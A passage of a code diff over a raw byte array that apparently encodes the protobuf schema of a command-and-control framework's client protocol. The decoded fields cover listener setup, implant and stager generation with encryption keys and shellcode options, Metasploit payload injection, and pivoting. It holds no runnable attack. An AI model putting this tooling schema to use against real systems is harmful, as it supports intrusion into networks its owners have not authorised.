0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x2f, 0x0a, 0x06, 0x57, - 0x47, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, - 0x72, 0x52, 0x65, 0x71, 0x52, 0x06, 0x57, 0x47, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x32, 0x0a, 0x07, - 0x44, 0x4e, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x07, 0x44, 0x4e, 0x53, 0x43, 0x6f, 0x6e, 0x66, - 0x12, 0x35, 0x0a, 0x08, 0x48, 0x54, 0x54, 0x50, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x07, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, - 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x08, 0x48, - 0x54, 0x54, 0x50, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x3e, 0x0a, 0x09, 0x4d, 0x75, 0x6c, 0x74, 0x69, - 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x61, 0x79, 0x65, - 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x09, 0x4d, 0x75, - 0x6c, 0x74, 0x69, 0x43, 0x6f, 0x6e, 0x66, 0x22, 0x40, 0x0a, 0x16, 0x4d, 0x75, 0x6c, 0x74, 0x69, - 0x70, 0x6c, 0x61, 0x79, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, - 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x22, 0x39, 0x0a, 0x0f, 0x4d, 0x54, 0x4c, - 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, - 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, - 0x50, 0x6f, 0x72, 0x74, 0x22, 0x7d, 0x0a, 0x0d, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, - 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, - 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x54, 0x75, - 0x6e, 0x49, 0x50, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, 0x79, - 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, 0x50, - 0x6f, 0x72, 0x74, 0x22, 0x8e, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, - 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, - 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, - 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, - 0x54, 0x50, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, - 0x65, 0x4f, 0x54, 0x50, 0x22, 0xd5, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, - 0x69, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, - 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, 0x75, - 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, - 0x12, 0x18, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, - 0x72, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, - 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, - 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, - 0x41, 0x43, 0x4d, 0x45, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, - 0x54, 0x50, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, - 0x65, 0x4f, 0x54, 0x50, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, - 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x4c, - 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x26, - 0x0a, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, - 0x18, 0x0c, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, - 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, - 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x52, - 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x22, 0x58, 0x0a, 0x0d, - 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, - 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, - 0x69, 0x70, 0x65, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, - 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, - 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x54, 0x0a, 0x0b, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x12, - 0x18, 0x0a, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x66, 0x0a, 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, - 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, - 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, - 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, - 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, - 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x59, 0x0a, 0x09, 0x52, 0x65, 0x6e, - 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, - 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x52, 0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, - 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x8c, 0x02, 0x0a, 0x10, 0x47, 0x65, 0x6e, - 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, - 0x07, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, - 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x41, - 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0d, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, - 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x49, - 0x76, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, - 0x79, 0x70, 0x74, 0x49, 0x76, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x43, 0x34, 0x45, 0x6e, 0x63, 0x72, - 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x43, - 0x34, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x50, - 0x72, 0x65, 0x70, 0x65, 0x6e, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0b, 0x50, 0x72, 0x65, 0x70, 0x65, 0x6e, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, - 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x46, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x46, 0x12, 0x1a, 0x0a, 0x08, 0x43, - 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, - 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x22, 0x2e, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x20, 0x0a, 0x0b, + 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x18, 0x65, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x12, 0x1c, + 0x0a, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x18, 0x67, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x20, 0x0a, 0x0b, + 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x68, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x1c, + 0x0a, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x18, 0x69, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x12, 0x1c, 0x0a, 0x09, + 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x2b, 0x0a, 0x10, 0x48, 0x54, + 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x96, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, + 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x97, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, + 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x37, 0x0a, 0x16, + 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, + 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x98, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x54, + 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, + 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x29, 0x0a, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x99, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, + 0x12, 0x27, 0x0a, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x18, 0xc8, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, - 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, 0x52, - 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, - 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, - 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0xcd, 0x01, 0x0a, 0x0c, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, - 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, - 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, - 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0xe0, 0x01, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, - 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, - 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, - 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, - 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, - 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 